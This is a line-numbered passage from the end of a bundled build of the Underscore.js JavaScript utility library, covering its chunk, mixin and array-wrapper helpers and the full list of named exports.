1841 for (var idx = 0; idx < length; idx++, start += step) {
1842 range[idx] = start;
1843 }
1844
1845 return range;
1846 }
1847
1848 // Chunk a single array into multiple arrays, each containing `count` or fewer
1849 // items.
1850 function chunk(array, count) {
1851 if (count == null || count < 1) return [];
1852 var result = [];
1853 var i = 0, length = array.length;
1854 while (i < length) {
1855 result.push(slice.call(array, i, i += count));
1856 }
1857 return result;
1858 }
1859
1860 // Helper function to continue chaining intermediate results.
1861 function chainResult(instance, obj) {
1862 return instance._chain ? _$1(obj).chain() : obj;
1863 }
1864
1865 // Add your own custom functions to the Underscore object.
1866 function mixin(obj) {
1867 each(functions(obj), function(name) {
1868 var func = _$1[name] = obj[name];
1869 _$1.prototype[name] = function() {
1870 var args = [this._wrapped];
1871 push.apply(args, arguments);
1872 return chainResult(this, func.apply(_$1, args));
1873 };
1874 });
1875 return _$1;
1876 }
1877
1878 // Add all mutator `Array` functions to the wrapper.
1879 each(['pop', 'push', 'reverse', 'shift', 'sort', 'splice', 'unshift'], function(name) {
1880 var method = ArrayProto[name];
1881 _$1.prototype[name] = function() {
1882 var obj = this._wrapped;
1883 if (obj != null) {
1884 method.apply(obj, arguments);
1885 if ((name === 'shift' || name === 'splice') && obj.length === 0) {
1886 delete obj[0];
1887 }
1888 }
1889 return chainResult(this, obj);
1890 };
1891 });
1892
1893 // Add all accessor `Array` functions to the wrapper.
1894 each(['concat', 'join', 'slice'], function(name) {
1895 var method = ArrayProto[name];
1896 _$1.prototype[name] = function() {
1897 var obj = this._wrapped;
1898 if (obj != null) obj = method.apply(obj, arguments);
1899 return chainResult(this, obj);
1900 };
1901 });
1902
1903 // Named Exports
1904
1905 var allExports = {
1906 __proto__: null,
1907 VERSION: VERSION,
1908 restArguments: restArguments,
1909 isObject: isObject,
1910 isNull: isNull,
1911 isUndefined: isUndefined,
1912 isBoolean: isBoolean,
1913 isElement: isElement,
1914 isString: isString,
1915 isNumber: isNumber,
1916 isDate: isDate,
1917 isRegExp: isRegExp,
1918 isError: isError,
1919 isSymbol: isSymbol,
1920 isArrayBuffer: isArrayBuffer,
1921 isDataView: isDataView$1,
1922 isArray: isArray,
1923 isFunction: isFunction$1,
1924 isArguments: isArguments$1,
1925 isFinite: isFinite$1,
1926 isNaN: isNaN$1,
1927 isTypedArray: isTypedArray$1,
1928 isEmpty: isEmpty,
1929 isMatch: isMatch,
1930 isEqual: isEqual,
1931 isMap: isMap,
1932 isWeakMap: isWeakMap,
1933 isSet: isSet,
1934 isWeakSet: isWeakSet,
1935 keys: keys,
1936 allKeys: allKeys,
1937 values: values,
1938 pairs: pairs,
1939 invert: invert,
1940 functions: functions,
1941 methods: functions,
1942 extend: extend,
1943 extendOwn: extendOwn,
1944 assign: extendOwn,
1945 defaults: defaults,
1946 create: create,
1947 clone: clone,
1948 tap: tap,
1949 get: get,
1950 has: has,
1951 mapObject: mapObject,
1952 identity: identity,
1953 constant: constant,
1954 noop: noop,
1955 toPath: toPath$1,
1956 property: property,
1957 propertyOf: propertyOf,
1958 matcher: matcher,
1959 matches: matcher,
1960 times: times,
1961 random: random,
1962 now: now,
1963 escape: _escape,
1964 unescape: _unescape,
1965 templateSettings: templateSettings,
1966 template: template,
1967 result: result,
1968 uniqueId: uniqueId,
1969 chain: chain,
1970 iteratee: iteratee,
1971 partial: partial,
1972 bind: bind,
1973 bindAll: bindAll,
1974 memoize: memoize,
1975 delay: delay,
1976 defer: defer,
1977 throttle: throttle,
1978 debounce: debounce,
1979 wrap: wrap,
1980 negate: negate,
1981 compose: compose,
1982 after: after,
1983 before: before,
1984 once: once,
1985 findKey: findKey,
1986 findIndex: findIndex,
1987 findLastIndex: findLastIndex,
1988 sortedIndex: sortedIndex,
1989 indexOf: indexOf,
1990 lastIndexOf: lastIndexOf,
1991 find: find,
1992 detect: find,
1993 findWhere: findWhere,
1994 each: each,
1995 forEach: each,
1996 map: map,
1997 collect: map,
1998 reduce: reduce,
1999 foldl: reduce,
2000 inject: reduce,
2001 reduceRight: reduceRight,
2002 foldr: reduceRight,
2003 filter: filter,
2004 select: filter,
2005 reject: reject,
2006 every: every,
2007 all: every,
2008 some: some,
2009 any: some,
2010 contains: contains,
2011 includes: contains,
2012 include: contains,
2013 invoke: invoke,
2014 pluck: pluck,
2015 where: where,
2016 max: max,
2017 min: min,
2018 shuffle: shuffle,
2019 sample: sample,
2020 sortBy: sortBy,
2021 groupBy: groupBy,
2022 indexBy: indexBy,
2023 countBy: countBy,
2024 partition: partition,
2025 toArray: toArray,
2026 size: size,
2027 pick: pick,
2028 omit: omit,
2029 first: first,
2030 head: first,
2031 take: first,
2032 initial: initial,
2033 last: last,
2034 rest: rest,
2035 tail: rest,
2036 drop: rest,
2037 compact: compact,
2038 flatten: flatten,
2039 without: without,
2040 uniq: uniq,
2041 unique: uniq,
2042 union: union,
2043 intersection: intersection,
2044 difference: difference,
2045 unzip: unzip,
2046 transpose: unzip,
2047 zip: zip,
2048 object: object,
2049 range: range,
2050 chunk: chunk,
2051 mixin: mixin,
2052 'default': _$1
2053 };
2054
2055 // Default Export
2056
2057 // Add all of the Underscore functions to the wrapper object.
2058 var _ = mixin(allExports);
2059 // Legacy Node.js API.
2060 _._ = _;
2061
2062 return _;
2063
2064})));
2065